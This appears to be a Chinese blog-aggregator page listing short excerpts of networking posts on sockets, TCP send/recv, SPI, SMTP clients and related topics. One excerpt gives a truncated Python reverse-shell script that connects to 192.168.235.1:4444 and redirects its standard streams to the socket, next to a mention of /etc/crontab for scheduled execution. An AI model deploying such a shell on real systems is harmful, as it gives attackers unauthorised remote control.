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  • fwrite 接收文件错误2021-10-28 02:31:27

    FILE *stream; if ((stream = fopen("abc.txt", "w+")) == NULL) { break; } int ret_recv = -100; while (1) { char request[4068] = { 0 }; memset(request, 0, 4068);

  • 如何检测socket是否关闭,socket的关闭检测及处理2021-10-23 22:03:16

    socket的关闭检测及处理 检测socket关闭 reference SIGPIPE 信号处理整理 调用write, send, sendto等发送函数时,触发 SIGPIPE 信号,导致程序直接退出。 Program received signal SIGPIPE, Broken pipe. 0x00007ffff7af2224 in write () from /lib/x86_64-linux-gnu/libc.so.6

  • TCP之send & recv,一篇就够了2021-10-20 19:03:13

    接触过网络开发的人,大抵都知道,上层应用使用send函数发送数据,使用recv来接收数据,而send和recv的实现原理又是怎样的呢? 在前面的几篇文章中,我们有提过,TCP是个可靠的、全双工协议。其流量控制或者拥塞控制依赖于滑动窗口和拥塞窗口的滑动来实现,而这两个窗口的滑动实现则是依赖于TCP

  • ubuntu和windows的解码方式2021-10-15 11:33:02

    ubuntu和windows的解码方式 1、能接收数据的最大字节数 recv_data=client_socket.recv(1024) 2、拆分数据和发送方的地址信息 recv_msg=recv_data[0] # 存储收到的data(发送方发过来的data是经过encode("utf-8")格式加密过来的 send_addr=recv_data[1]# 存储发送方的地址信息(元

  • socket编程之TCP开发中的PEEK_MSG的使用与见解2021-10-14 09:34:49

    概述 使用PEEK_MSG选项调用recv获取socket数据,可以简化socket处理逻辑,减少再次建设缓冲队列的复杂度;但也因此相对增加了系统底层的存储压力。 适用范围 对于一般客户端或者低用户量的服务端开发而言,使用PEEK_MSG先recv了消息,检查消息头,确认当前部分接收的消息已经基本完成了以后,再

  • 基于硬件 SPI 的数据抽象实例2021-10-12 19:34:40

    1.写在前面 spi(Serial Peripheral Interface)即串行外设接口。与i2c一样,spi也常用外设设备通信的总线,从事嵌入式开发必不可少的掌握。 根据本人以往的经历,对spi进行总结(主要是MCU范畴,Linux已有成熟的驱动设备),主要目的及实现: spi总线与spi设备分离; 快速使用新的硬件spi或者模

  • 自顶向下的计算机网络作业——邮件客户实验题2021-10-06 19:58:41

    项目场景:         需要写一个邮件客户的程序,使得该程序能与邮件服务器创建一个tcp连接,使用SMTP协议与邮件服务器交谈。 直接附上源码:   from socket import * import base64 #与qq邮箱服务器建立tcp连接,并且打印服务器返回的220,表示连接成功 serverName = 'smtp.163.com'

  • tcp3-12021-09-30 20:04:31

    TCP代码开发示例,教材3.4节,代码清单3-1 3-1代码功能: 客户端:发送一个消息“Hi There, Server”,接收客户端的响应,打印出来,然后关闭。 服务器:接收客户端发过来的消息,然后发送响应:“Farewell, client”。 import socket import argparse 功能:一直接收数据直到数据的长度达到length为止 de

  • 2.tcp篇2021-09-30 20:02:30

    recv要指定一个参数,希望接收的数据长度 recv有数据就返回,不一定能够按照我们的希望返回相应的数据长度。#返回时一定不会超过我们指定的数据长度。 例如︰指定1024,实际返回的数据长度是10日. 结论︰recv返回的时候,0 < len(data)<= 1024,实际返回的数据长度没有保证。 data = socket.r

  • python中deque的坑2021-09-28 07:32:32

    笔记,初次登录博客园,操作也不大熟练,尝试对工作进行归纳,限于作者水平,先对问题进行描述,后续会进行完善和补充。 推荐markdown编辑器——小书匠,初学用起来还不错 目录 问题描述 原因分析 问题解决 1. 前言 1.1 问题描述 本人近期使用python做多tcp连接的开发,编程环境及用法如下图所

  • mydodo协议2021-09-20 13:02:07

    wifi_串口协议v1.0.0 目录帧结构命令协议代码样例 帧结构 没帧数据由帧头+长度+载荷+校验和组成。 帧头1 帧头2 设备号 数据长度 数据 校验和 0x4D 0x59 xxx nByte xxxx BBC(异或校验) 例子:A5 5A 01 00 00,MCU上电初始化命令。 操作码 长度 载荷 1Byte 1Byte nBy

  • 灵均面试2021-09-19 17:02:30

    [量化IT工程师面试题] 1、有52个字母字符数组('A'~'z')其中只有一个字符是重复的,请编写一个函数,把这个字母字符找到。 要求:时间复杂度 O(N) ,不能用额外的辅助数组; 示例: 输入: ['A', 'a', 'v', 'a', 's', 'r'] 输出:'a'   2、什么是局部性原理? 请用C写一段代码来证明局

  • 从入门到入土:基于C语言采用UDP协议实现通信功能的程序2021-09-07 16:02:12

    此博客仅用于记录个人学习进度,学识浅薄,若有错误观点欢迎评论区指出。欢迎各位前来交流。(部分材料来源网络,若有侵权,立即删除) 本人博客所有文章纯属学习之用,不涉及商业利益。不合适引用,自当删除! 若被用于非法行为,与我本人无关 基于C语言采用UDP协议实现通信功能的程序 实验

  • 粘包问题2021-08-31 19:02:49

    "基于tcp协议实现远程执行命令" "客户端" """ from socket import * client=socket(AF_INET,SOCK_STREAM) client.connect(('127.0.0.1',8082)) while True: cmd=input('请输入命令>>:').strip() if len(cmd) == 0:continue clie

  • python反弹shell2021-08-27 21:02:15

    /etc/crontab设置定期执行的任务,修改需要root权限   简易版 python反弹shell的文件: 1 #!/usr/bin/python 2 import os,subprocess,socket 3 4 s=socket.socket(socket.AF_INET,socket,SOCK_STREAM) 5 s.connect((192.168.235.1,4444)) 6 os.dup2(s.fileno(),0) 7 os.dup2(s.fil

  • Python 网络编程(聊天室的基础实现)2021-08-15 10:02:45

    运用到的知识:python socket使用,tcp/ip协议的理解,python面向对象编程, python多线程实现的原理图:实现的代码:# -*- coding = utf-8 -*-# @Time : 2021/8/14 11:49# @Author : 刘卓文# @File : 聊天室.py# @Software : PyCharmimport socketimport threadingimport datetimeclass Chat

  • 解决粘包问题的终极大招2021-08-10 16:03:35

    服务端 import socket import struct import subprocess import json server = socket.socket(socket.AF_INET,socket.SOCK_STREAM) server.bind(('127.0.0.1',8080)) server.listen(5) while True: conn,client_addr = server.accept() print('客户端的ip

  • 关于WSAAsyncSelect 的使用注意点2021-08-02 12:04:40

    基于MFC的消息处理,微软提供一个函数WSAAsyncSelect, 把winsock的事件通知抛到的UI线程。 其实我们在MFC中编程,代码处理大多在这个主UI线程中,类定义变量也好处理,最重要的一点是不需要考虑多线程的机制了。我见过之前的工作同事,他们就是用单独的读写线程来处理socket,然后通过sendmess

  • socket之send和recv原理剖析2021-07-30 14:00:51

    socket之send和recv原理剖析 1. 认识TCP socket的发送和接收缓冲区2. send原理剖析3. recv原理剖析4. send和recv原理剖析图 能够知道send和recv的底层工作原理 1. 认识TCP socket的发送和接收缓冲区 当创建一个TCP socket对象的时候会有一个发送缓冲区和一个接收缓冲区

  • 16进制与10进制相互转化-C语言2021-07-27 16:34:37

    char型数组转化为int数字,char型数组为16进制表示,其本质是byte与int类型的互相转化 byte不是一种新类型,在C++中byte被定义的是unsigned char类型;但在C#里面byte被定义的是unsigned int类型 以下双字节转换,均为高字节在前: HEX数据 :0X01 0X68 //转化为HEX,就是十六进制数据拼接0X01

  • day24面向对象_网络基础_编写网络相关的程序2021-07-10 11:35:28

    day24 今日内容: 1.面向对象 2.网络基础 3.编写网络相关的程序 内容回顾 1.继承、封装、多态 2.成员 3.修饰符 4.反射 5.模块 6.异常处理‘ 7.接口、抽象类+抽象方法 => 约束 今日详细 1.面向对象多继承之c3算法 1.1经典类和新式类 py2: 经典类 新式类,如果自己的前辈要有人继

  • day25TCP和UDP协议_subprocess_struct2021-07-10 11:34:05

    day25 内容详细 1.TCP和UDP TCP (Transmission Control Protocol)可靠的、面向连接的协议(eg:打电话)、传输效率低全双工通信(发送缓存&接收缓存)、面向字节流。使用TCP的应用:web浏览器;电子邮件、文件传输程序。 UDP(User Datagram Prolocol)不可靠的,无连接的服务,传输效率高(发送前

  • send|recv详解2021-07-03 10:33:25

    int send( SOCKET s, const char FAR *buf, int len, int flags ); 不论是客户还是服务器应用程序都用send函数来向TCP连接的另一端发送数据。客户程序一般用send函数向服务器发送请求,而服务器则通常用send函数来向客户程序发送应答。 (1)第一个参数指定发送端套接字描述符; (2)第二

  • 攻击方式学习之- 拒绝服务(DOS/DDOS/DRDOS)2021-06-28 22:02:43

    历史回顾 2000年2月的“电子珍珠港事件”,正是互联网史上这样噩梦的集中时刻。2月7日、8日、9日连续三天,黑客对美国包括雅虎、亚马逊、国家贴现经纪公司网站、洛杉矶时报网站等各大网站发起集中攻击,直接造成了10多亿美元的损失。号称世界上最安全的网站——雅虎——是其中最

  • Luat模块应用手册-示例-Luat 示例-ril(虚拟AT)2021-06-28 18:33:24

    如何用开发板实现 低功耗长连接 功能 目录名称 如何用开发板实现 低功耗长连接 功能简介材料准备步骤实现代码 常见问题相关资料以及购买链接测试源码 简介 VAT 是LUAT 二次开发过程中常用的功能,本文介绍如何用Air724开发板,和PC端搭建一个VAT的测试示例。 材料准备 EVB_

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